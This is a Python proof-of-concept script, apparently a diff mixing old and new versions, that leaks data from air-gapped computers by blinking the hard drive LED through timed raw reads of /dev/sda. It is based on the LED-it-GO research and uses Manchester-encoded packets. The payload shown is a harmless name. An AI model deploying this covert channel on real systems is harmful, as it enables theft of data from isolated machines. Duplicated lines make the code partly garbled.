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#!/usr/bin/env python | ||
# Proof of concept for data exfiltration through HDD Activity Led | ||
# Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED | ||
# Leaking (a lot of) Data from Air-Gapped Computers via the (small) Hard Drive LED | ||
# Based on paper http://cyber.bgu.ac.il/advanced-cyber/system/files/LED-it-GO_0.pdf | ||
# Dario Clavijo 2017 | ||
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import os,time,zlib,binascii | ||
import os | ||
import time | ||
import zlib | ||
import binascii | ||
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BLOCK_SIZE=512 | ||
BLOCK_SIZE = 512 | ||
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if hasattr(os, 'sync'): | ||
sync = os.sync | ||
else: | ||
import ctypes | ||
libc = ctypes.CDLL("libc.so.6") | ||
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def sync(): | ||
libc.sync() | ||
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def transmit_bits(tmpfile,bits, T0, readsize): | ||
sync() #drop cache | ||
fp = open(tmpfile) | ||
offset = 0 | ||
offsetincrement = BLOCK_SIZE; | ||
fp.seek(offset) | ||
for b in list(bits): | ||
#sync() | ||
if (b=='0'): | ||
print "0 sleep " + str(T0) | ||
time.sleep(T0); | ||
if (b=='1'): | ||
sync() | ||
fp.seek(offset) | ||
print "1 read %d bytes" % len(fp.read(readsize)) | ||
offset += offsetincrement | ||
return; | ||
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def transmit_bits(tmpfile, bits, T0, readsize): | ||
sync() # drop cache | ||
fp = open(tmpfile) | ||
offset = 0 | ||
offsetincrement = BLOCK_SIZE | ||
fp.seek(offset) | ||
for b in list(bits): | ||
# sync() | ||
if (b == '0'): | ||
print("0 sleep " + str(T0)) | ||
time.sleep(T0) | ||
if (b == '1'): | ||
sync() | ||
fp.seek(offset) | ||
print("1 read %d bytes" % len(fp.read(readsize))) | ||
offset += offsetincrement | ||
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def manchester(bits): | ||
r = "" | ||
for b in list(bits): | ||
if b == '0': | ||
r += '01' | ||
if b == '1': | ||
r += '10' | ||
return r | ||
r = "" | ||
for b in list(bits): | ||
if b == '0': | ||
r += '01' | ||
if b == '1': | ||
r += '10' | ||
return r | ||
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def itob(i): | ||
return bin(i).replace('0b','') | ||
return bin(i).replace('0b', '') | ||
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def atob(a): | ||
return itob(int(binascii.hexlify(a), 16)) | ||
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def itob32(i): | ||
return itob(i).zfill(32) | ||
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def itob16(i): | ||
return itob(i).zfill(16) | ||
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def transmit_packet(payload): | ||
preamble = "10101010" | ||
payload_size = len(payload) | ||
print "preamble, size, payload, crc32" | ||
print preamble, itob16(payload_size), atob(payload), itob32(zlib.crc32(payload)) | ||
dataONOFF = manchester(preamble+itob16(payload_size)+atob(payload)+itob32(zlib.crc32(payload))) | ||
#print data | ||
time.sleep(1) | ||
transmit_bits('/dev/sda',dataONOFF,0.01,4096) | ||
preamble = "10101010" | ||
payload_size = len(payload) | ||
payload = payload.encode('utf8') | ||
print("preamble, size, payload, crc32") | ||
print(preamble, itob16(payload_size), | ||
atob(payload), | ||
itob32(zlib.crc32(payload))) | ||
dataONOFF = manchester(preamble + | ||
itob16(payload_size) + | ||
atob(payload) + | ||
itob32(zlib.crc32(payload))) | ||
time.sleep(1) | ||
transmit_bits('/dev/sda', dataONOFF, 0.01, 4096) | ||
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def main(): | ||
while True: | ||
transmit_packet("Dario Clavijo") | ||
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main() | ||
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if __name__ == "__main__": | ||
main() |